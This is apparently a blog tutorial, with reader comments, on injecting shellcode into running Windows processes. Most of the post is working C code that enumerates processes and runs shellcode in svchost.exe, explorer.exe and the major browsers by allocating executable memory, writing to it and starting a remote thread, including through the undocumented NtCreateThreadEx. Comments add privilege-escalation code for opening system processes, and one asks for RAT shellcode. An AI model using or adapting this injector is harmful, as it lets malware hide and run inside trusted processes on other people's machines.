Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.
code:
int CheckOSVersion(void) { /* * Windows XP = 1 (NT 5.0) * Windows Vista = 2 (NT 6.0) * Windows 7 = 3 (NT 6.1) */ OSVERSIONINFO osver; osver.dwOSVersionInfoSize = sizeof(osver); if (GetVersionEx(&osver)) { if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT)) return 0; if (osver.dwMajorVersion == 5) return 1; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0) return 2; if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1) return 3; } else return 0; }
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:
bool is64bit; // get system architecture if(sizeof(void*) == 4) is64bit = false; // 32bit else is64bit = true; // 64bit
The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Code:
PROCESSENTRY32 pe32 = { sizeof( PROCESSENTRY32 ) }; HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hSnapshot == INVALID_HANDLE_VALUE ) return 0; if( ! Process32First( hSnapshot, &pe32 ) ) { CloseHandle( hSnapshot ); return 0; } do { if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){ // The injection function is called from here... } } while( Process32Next( hSnapshot, &pe32 ) );
Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
code:
bool InjectCode( DWORD dwProcId, int os ) { //open process with proper access permissions HANDLE hHandle = NULL; if (os < 2) //good for Windows XP and older hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId ); else //good for Windows 7 and Vista (not tested on XP or older) hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId ); //check if OpenProcess succeeded if( hHandle == INVALID_HANDLE_VALUE ) return false; //allocate memory for our shellcode in the desired process's address space LPVOID lpShellcode = NULL; //choose the shellcode which suits the environment if (os < 2) lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); else if (os < 4) lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); else lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); //check if VirtualAllocEx succeeded if( lpShellcode == NULL) { CloseHandle( hHandle ); return false; } // write the shellcode into the allocated memory space if (os < 2) WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 ); else if (os < 4) WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 ); else WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 ); // create a thread which will execute our shellcode HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 ); if( hThread == NULL ) { CloseHandle( hHandle ); return false; } return true; }
MyCreateRemoteThread
code:
HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) { if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx")) { return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback); } else { return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0); } return NULL; }The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always works on Windows Vista and 7 (because of some changes made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.
NtCreateThreadEx
code:
HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) { typedef struct { ULONG Length; ULONG Unknown1; ULONG Unknown2; PULONG Unknown3; ULONG Unknown4; ULONG Unknown5; ULONG Unknown6; PULONG Unknown7; ULONG Unknown8; } UNKNOWN; typedef DWORD WINAPI NtCreateThreadEx_PROC( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD Unknown1, DWORD Unknown2, LPVOID Unknown3 ); UNKNOWN Buffer; DWORD dw0 = 0; DWORD dw1 = 0; memset(&Buffer, 0, sizeof(UNKNOWN)); Buffer.Length = sizeof (UNKNOWN); Buffer.Unknown1 = 0x10003; Buffer.Unknown2 = 0x8; Buffer.Unknown3 = &dw1; Buffer.Unknown4 = 0; Buffer.Unknown5 = 0x10004; Buffer.Unknown6 = 4; Buffer.Unknown7 = &dw0; NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); if(VistaCreateThread == NULL) return NULL; HANDLE hRemoteThread = NULL; HRESULT hRes = 0; if(!SUCCEEDED(hRes = VistaCreateThread( &hRemoteThread, 0x1FFFFF, // all access NULL, hProcess, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, FALSE, NULL, NULL, NULL, &Buffer ))) { return NULL; } return hRemoteThread; }
That's about it. You can download the VS 2008 project files from here and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.
Hope you'll find this information usefull.
Cheers,
-Herzel
Very interesting, I learn a lot.
ReplyDeleteThanks :)
ReplyDeleteThe BEST article on the subject, I've ever seen! On my Windows 7, 64 bit, VistaCreateThread fails with c0000005 (access violation) though. Any ideas are much appreciated!
ReplyDeleteHi Ole, I'm happy you found this post helpful.
ReplyDeleteThough NtCreateThreadEx provides universal solution on Vista/Win 7 platform for remote thread execution, it is risky to use as it is undocumented function. As things may change with new version and support packs.
You can further read about it here:
www.securityxploded.com/ntcreatethreadex.php
Hi Herzel,
ReplyDeleteThis works on my Win7 Ultimate 64-bit. Got it from here:
http://webcache.googleusercontent.com/search?q=cache:xMTPHbv0XjAJ:www.elitepvpers.de/forum/s4-league-hacks-bots-cheats-exploits/573270-src-release-injector-embeddable-dll-2.html+NtCreateThreadEx&cd=10&hl=da&ct=clnk
typedef DWORD (WINAPI *NTCREATETHREADEX)
(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID Unknown
);
HANDLE hThread;
HRESULT hRes;
NTCREATETHREADEX NtCreateThreadEx = (NTCREATETHREADEX)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
if(NtCreateThreadEx) {
hRes = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, hRemoteProc, (LPTHREAD_START_ROUTINE)pLoadLibrary, (LPVOID)pDllToLoad, FALSE, NULL, NULL, NULL, NULL);
}
--
So 'Unknown' is NULL and 'GENERIC_ALL' is used instead of '0x1FFFFF'.
This proves, that you're right - using undocumented calls is kinda risky business :-)
I have the same problem. I'm calling NtCreateThreadEx() from a service that's running under 'Local System', and NtCreateThreadEx() returns with error 5 (access denied). Any idea?
ReplyDeleteSounds like a permission issue. Make sure that SetDebugPrivileges() works properly (not returning any error).
ReplyDeleteRegarding the access errors, I believe you need to call OpenProcessToken() and change the access priveledges. Then you can call OpenProcess().
ReplyDeleteHere's an example taken from another tutorial: BOOL insertDll(DWORD procID, LPCSTR dll)
{
...
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
...
//Adjust token privileges to open system processes
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, 0, &tkp, sizeof(tkp), NULL, NULL);
}
//Open the process with all access
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
It has error in window 7 sp1 x64. 0xC0000005 Access Violation.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteFor shellcode and dll-injection with nice GUI check out this program http://code.google.com/p/vminject/
ReplyDeleteworks with all Windows versions and has the ability to list processes and assemble from (nasm) source! Really nice piece of software for shellcode testing
I was wondering if there's a way to change this into a shellcode to try in an exploit [other than VMInject]
ReplyDeletehi plzzz can any one help me to find out the shell code of poison ivy rat
ReplyDeleteit's causing the process to crash after injection
ReplyDeleteon windows 7 sp1
I downloaded your injector from media fire
any hints ?
I tried to download your source code files,but I failed.
ReplyDeleteI just wanna know the definition of calc_shellcode_XP msgbox_shellcode_Win7_32 cmd_shellcode_Win7_64,because I can't compile it correctly.
Could you please send me your VS 2008 project files and the injector exe file to me?
ahau102013@gmail.com
THX.
Hi Herzel,I got my problem solved,I downloaded Torch browser,and it works.
ReplyDeleteI compiled when execute I got a "Hello World".Is it right?
I tried to inject a dll,but the ie explorer crashed,and the MessageBox didn't poped up,either.
Can you send me an example of dll injection?Thanks.
good article exactly for the subject i was looking , after mastering use of http://dll-injector,I will proceed to master this process that you describe it.
ReplyDelete